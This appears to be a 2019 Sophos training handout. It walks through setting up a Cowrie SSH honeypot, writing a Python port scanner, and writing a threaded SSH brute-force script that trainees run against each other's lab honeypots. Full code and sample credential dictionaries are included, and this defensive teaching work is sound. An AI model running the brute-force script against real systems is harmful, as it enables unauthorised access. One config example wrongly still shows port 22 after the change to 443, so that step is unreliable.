SOPHOS
Security made simple.

Sweet Temptations: How To Catch the Hackers

By Matt Boddy @infosecboddy

Date: Jun 2019 Version 1.0

Contents

Introduction

Created by: *Matt Boddy – Sophos Senior Sales Engineer*

Purpose: The purpose of this training is to increase skills and arsenal for the intended user to help their customers stay secure.

What you'll learn: During this training session, you'll learn how to:

- Setup an SSH honeypot server using Cowrie, an open source tool for Linux
- Monitor the login attempts to this honeypot server
- Port scan an SSH honeypot, writing your port scan using Python for maximum understanding
- Brute force into your SSH honeypot using a Python script once again to help with the understanding of how a scripted brute force attack may work

Acknowledgements

I'd like to acknowledge the fantastic work by the developers of the Cowrie honeypot who make this training possible. More details on the project available here https://github.com/cowrie/cowrie

Prerequisites

Please make sure that before you start you have the following installed and configured on your machine:

- Python3
- An IDE for Python3 (I'm using IDLE for simplicity)
- A method to SSH (e.g. Powershell, Putty, Bash, Mac command line etc.)
- Pip

Credentials

The credentials to login to your Ubuntu instance hosted in Azure will be provided to you individually.

IP address: _____

Username: _____

Password: _____

For safety and security reasons, your Ubuntu server will be spun down immediately after this course and is only accessible from the Sophos offices.

Intro to Ubuntu Linux Command line (skip if already proficient)

Please SSH to your Ubuntu server using your preferred technique, now please play around with the below commands.

cd

In order to navigate through the Linux directory you will be using the command *cd*. CD stands for change directory and it does exactly what its name suggests. After typing cd you're able to type the file path of the directory you'd like to be placed within, you'll then be able to see and interact with any of the files in that location.

Example: `cd /home/users/user/`

The two full stops ".." are representative of going up one directory and a single full stop "." is representative of the current directory

Example: `cd ..`

will go one directory higher. For example if I'm in /home/users/user/, after running this command I'll end up in /home/users/

`cd .`

will remain in the existing directory.

ls

ls stands for list segments, it's a way of showing all the files and folders which exist within the current directory (or a specified directory). Now that we've changed our directory to the users home directory (in the cd example command) we can now list everything which exists in that directory.

Example: `ls`

<all files in /home/users/user>

man

man is short for manual, and just like building furniture from an unnamed Swedish store, sometimes you've got to refer to it. Any command which you type in Linux will have it's own manual, to refer to the manual just type man followed by the command you'd like to understand.

Example: `man ls`

<manual for list segments (ls) pops up to help you understand all of your options>

sudo

sudo is a command used to escalate your privileges from the user level to that of the administrator. If your user is within the sudoers file (it must be put there by a systems administrator) then you'll have the permission to run programs with higher privileges.

Example: `sudo apt install python3`

Python3 will now install on the system

apt

(**please avoid installing anything unnecessary on your server since it will end up slowing the box down)** apt is a command used to manage the programs you've installed on the system. It can be used to install a program as shown above with Python3 by typing the command apt install (followed by the program you'd wish to install). It calls upon specified internet repositories to allow the install of a program or function you wish to use.

Nano

Nano is a simple command line text editor for Linux. You can type nano followed by the name of a file to edit the text it stores, or you can type the name of a new file and that file will be automatically created.

Example: `nano test.txt`

Test.txt will be created in the current directory

Setting up your Cowrie honeypot

Changing the port which SSH runs on

First off, in order to make our honeypot realistic, since we'll be hosting the honeypot server using port 22, we need to change our current port number for SSH from port 22.

```
sudo nano /etc/ssh/sshd_config
```

where sshd_config says

```
# What ports, IPs and protocols we listen for
Port 22
```

Change to port `443`. Your config should now look like this:

```
# What ports, IPs and protocols we listen for
Port 22
```

Exit with `ctrl` and `X` select `Y` to save and hit `return` to agree to keep the file name the same.

Now restart the ssh service to make your changes take affect.

```
sudo service ssh restart
```

Installing dependencies and prepping for Cowrie install

Now SSH back onto your device using the new port which we've setup. We'll start installing the surrounding packages which Cowrie is dependant on to run.

```
sudo apt update
```

```
sudo apt install -y git python-virtualenv libssl-dev libffi-dev build-essential libpython-dev python2.7-minimal authbind
```

Now that we've downloaded the packages required for our honeypot we'll create a separate account that the cowrie honeypot will be running from, and change to that user.

```
sudo adduser --disabled-password cowrie
```

hit return 4 times to leave the user defaults.

```
sudo su - cowrie
```

Downloading and installing Cowrie

We now need to download and install cowrie.

```
git clone http://github.com/micheloosterhof/cowrie
cd cowrie
virtualenv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install --upgrade -r requirements.txt
```

Configuring Cowrie

Lets start by copying the config files to the correct location

```
cd etc
cp cowrie.cfg.dist cowrie.cfg
cp userdb.example userdb.txt
```

We'll now go into the cowrie honeypot config file.

```
nano cowrie.cfg
```

it should have a field called hostname which will look like this:

```
# Hostname for the honeypot. Displayed by the shell prompt of the
virtual
# environment
#
# (default: svr04)
hostname = svr04
```

Change this config to edit the hostname to whatever you'd like. I'm going to choose something that resembles AWS.

```
# Hostname for the honeypot. Displayed by the shell prompt of the
virtual
# environment
#
# (default: svr04)
hostname = AWS_USEast1
```

We'll now change the userdb.txt file to edit the usernames and passwords we'll allow to login to our fake system. Firstly exit out of the cowrie.cfg file by pressing `ctrl` and `X` and selecting `Y` to save. Please feel free to either copy me or add your own artistic flare to the usernames you allow onto your honeypot.

```
nano userdb.txt
```

your userdb.txt configuration will look something like this (with some extra comments above it):

```
root:x:!root
root:x:!123456
root:x:!/honeypot/i
root:x:*
tomcat:x:*
oracle:x:*
```

Change the contents of this file however you'd like depending what usernames you'd like to be able to login to your fake system. Each line in the userdb.txt are organized as follows username:x:password, there are also some wildcards, * represents anything i.e. any username or any password and the exclamation mark demonstrates that the following is disallowed. I'm going to change my list to look a little something like this:

```
root:x:supersecretpassword
root:x:password123456
root:x:testaccount
nagios:x:nagios
elastic:x:elastic
root:x:!*
```

And now you can start your honeypot!

```
../bin/cowrie start
exit
```

Now you've exited out of your virtual environment and of he user cowrie, you may realise that the honeypot isn't running as you'd expect. This is because it defaults to port 2222, we need to redirect any inbound request which is destined for the port which SSH is expected to be running on to the cowrie port of 2222. We do this through IPTables which are firewall rules for Linux devices.

```
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
```

and to make sure that the firewall rule remains in place after your device is rebooted, we need to install iptables-persistent.

```
sudo apt-get install iptables-persistent
```

Hit yes to the two questions iptables-persistent asks.

Monitoring cowrie logs

On the SSH server, we'll have to go back into the cowrie user and print

```
sudo su cowrie
cd /home/cowrie/cowrie/var/log/cowrie
```

we'll now list all files that are sitting in the logs folder.

```
ls
```

You'll notice that there are two files, the cowrie.json file and the cowrie.log file. Either of these can be passed back to a SIEM platform for general monitoring of the Cowrie platform for intrusion detection within an organisation.

For this exercise, because it's more human readable, we'll print the cowrie.log file to the screen to see any intrusion attempts live as they're happening.

```
tail -f cowrie.log
```

Leave this open and monitor it as we go to the next exercise.

Port scan using Python

Now open idle or your alternative IDE for python3. We're now going to write a script to scan the ports of our neighbor's honeypot. If you're not interested in learning about the python functionality which makes this possible, or if you get stuck, you can find the full python script at the end of this document in the appendix which you can copy directly into your IDE and run.

In order for this to work we'll have to import 'socket', a low-level networking interface which enables us to open connections to different ports on the remote device.

```
from socket import *
```

Now lets make the script look a little bit pretty by printing the name of the project to the screen.

```
print ("*********************************************")
print ("Port Scanner")
print ("*********************************************")
```

We will now set our variables of the target device, the lowest port we wish to scan and the highest port we wish to scan. On running the script these will accept an input including the details of the server you're wishing to scan.

```
targetserver = input('Enter host to scan: ')
PortLow = input('Enter the first port you would like to scan: ')
PortHigh = input('Enter the port you would like to stop scanning on: ')
```

We've got to translate the address stored in targetserver to a machine readable address. We do this using the gethostbyname function of socket and we'll store that in a variable named targetIP.

```
targetIP = gethostbyname(targetserver)
```

To validate that this process has worked correctly, we'll print the target IP address to the screen.

```
print ('Ready to scan : ', targetIP)
```

The smallest bit of input validation to make sure a number has been input rather than a string into the PortLow and PortHigh variables.

```
try:
    PortLow = int(PortLow)
    PortHigh = int(PortHigh)
except ValueError:
```

```
    print ("The input string is not a number, it's a string.  Please
try again.")
```

Now we begin the port scan. Using a for loop we start with the PortLow variable repeating the below code until we reach PortHigh.

```
for i in range(PortLow, PortHigh):
```

First of all we need to tell socket the format we'll be supplying it with the port number and IP address. By using SOCK_STREAM, we're telling the scan to use TCP.

```
    s = socket(AF_INET, SOCK_STREAM)
```

Now we tell our script to connect to our supplied IP address using the variable i. i represents each port which we're iterating through in the range of ports supplied in the loop.

```
    result = s.connect_ex((targetIP, i))
```

At this point we have an if condition. If the result of this connection attempt is equal to 0 it means that the connection was successful, if the connection attempt returns anything else then the port is closed.

```
    if(result == 0) :
        print ('Port %d: OPEN' % (i,))
    else:
        print('Port %d: CLOSED' % (i,))
```

We're now done with this connection supplied by socket, so we gracefully close it off.

```
    s.close()
```

and to make our script look pretty, we close off with a message to tell the user that the scan loop has completed.

```
print ('-------------------------------------------------')
print ("Scanning complete")
print ('-------------------------------------------------')
```

Now run this code (f5 in idle), this will prompt you to put in your target honeypot's IP address, the start and finish ports of your scan (recommended to aim to scan 21 to 23.

Why does the scanner hang on closed ports?

Answer

Brute force attack using Python

First we'll import paramiko which is an implementation of the SSHv2 protocol available in Python capable of providing both client and server functionality. We import time to introduce delays after each login attempt and threading to make sure that the login attempts are performed logically in their own thread.

```
import paramiko, time, threading
```

Lets start by making the screen look pretty by printing an introduction to the script.

```
print ("*****************************************")
print ("SSH Brute Force")
print ("*****************************************")
print ("Dictionary should be in user:pass format")
```

We'll now setup the SSH connection in a separate Python function. This function we can call from the main method on a loop to repeat for every username and password in the provided dictionary. The function will be expecting to be passed an IP address, username and password.

```
def attempt(IP,UserName,Password):
```

To start we'll initialize the paramiko SSH client and store it in the variable ssh.

```
    ssh = paramiko.SSHClient()
```

Setup our ssh client to automatically accept and add unknown keys from the remote ssh server.

```
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

Now within a try catch block, we'll attempt to connect to the supplied IP address using the username and password also supplied. The except will flag if the authentication to this server fails, providing us with the information that this set of credentials has failed. If there is no authentication exception raised however, the word CORRECT! Will be printed proceeded by the username and password which were successful.

```
    try:
        ssh.connect(IP, username=UserName, password=Password)
    except paramiko.AuthenticationException:
        print ('[-] %s:%s fail!' % (UserName, Password))
    else:
        print ('[!] %s:%s is CORRECT!' % (UserName, Password))
    ssh.close()
    return
```

We'll now start by gathering the information necessary to perform the attack, the IP address of the target and the list of usernames and passwords.

```
ip=input('Enter ssh host to brute force: ')
filename=input('Enter dictionary file path: ')
```

Open the dictionary file of usernames and passwords with read access and tell the user what about to commence.

```
fd = open(filename, "r")
print ('[+] Bruteforcing against %s with dictionary %s' % (ip, filename))
```

We now start our for loop where for each line in the dictionary the loop will run the following code.

```
for line in fd.readlines():
```

We need to split each line where there's a colon to separate the username from the password.

```
    username, password = line.strip().split(":")
```

Now we start a new thread to run our previously defined function using the IP, username and password obtained in the previous variables.

```
    t = threading.Thread(target=attempt, args=(ip,username,password))
    t.start()
```

And lastly we sleep for 0.3 of a second before attempting the next username.

```
    time.sleep(0.3)
```

Now we can gracefully close the dictionary.

```
fd.close()
```

Now run this code (f5 in idle), you'll be prompted to input the host you're trying to brute force into and the location of the dictionary attack you'll be using. The dictionary file must be structured as follows:

```
username:password
username:password
```

A username followed by a password separated by a colon with a case return between each attempt. An example of how your dictionary may look is as follows:

```
root:123456
root:Password1
admin:admin
```

Give it a try against your neighbours honeypot, see if you can figure out which username and password combos they've allowed.

Monitoring cowrie logs – revisited

Head back to your SSH server where you should still have the live tail of your cowrie logs running. You will see all of the login attempts to your honeypot collating here.

What information do these login attempts contain?

Answer

If you exit out of this tail log using ctrl + c, type the following command.

```
ls /home/cowrie/cowrie/var/log/cowrie
```

What could you do with these log files?

Answer

Appendix

Python Port Scan – full code

```
from socket import *

print ("*********************************************")
print ("Port Scanner")
print ("*********************************************")

targetserver = input('Enter host to scan: ')
PortLow = input('Enter the first port you would like to scan: ')
PortHigh = input('Enter the port you would like to stop scanning on: ')

targetIP = gethostbyname(targetserver)
```

```
print ('Ready to scan : ', targetIP)


try:
    PortLow = int(PortLow)
    PortHigh = int(PortHigh)
except ValueError:
    print ("The input string is not a number, it's a string.  Please
try again.")

for i in range(PortLow, PortHigh):
    s = socket(AF_INET, SOCK_STREAM)
    result = s.connect_ex((targetIP, i))
    if(result == 0) :
        print ('Port %d: OPEN' % (i,))
    else:
        print('Port %d: CLOSED' % (i,))
    s.close()

print ('**********************************************')
print ("Scanning complete")
print ('**********************************************')
```

Brute force SSH – full code

```
import paramiko, time, threading


print ("****************************************")
print ("SSH Brute Force")
print ("****************************************")


print ("Dictionary should be in user:pass format")
```

```
def attempt(IP,UserName,Password):
   ssh = paramiko.SSHClient()
   ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
   try:
      ssh.connect(IP, username=UserName, password=Password)
   except paramiko.AuthenticationException:
      print ('[-] %s:%s fail!' % (UserName, Password))
   else:
      print ('[!] %s:%s is CORRECT!' % (UserName, Password))
   ssh.close()
   return


ip=input('Enter ssh host to brute force: ')
filename=input('Enter dictionary file path: ')

fd = open(filename, "r")
print ('[+] Bruteforcing against %s with dictionary %s' % (ip, filename))
for line in fd.readlines():
   username, password = line.strip().split(":")
   t = threading.Thread(target=attempt, args=(ip,username,password))
   t.start()
   time.sleep(0.3)


fd.close()
```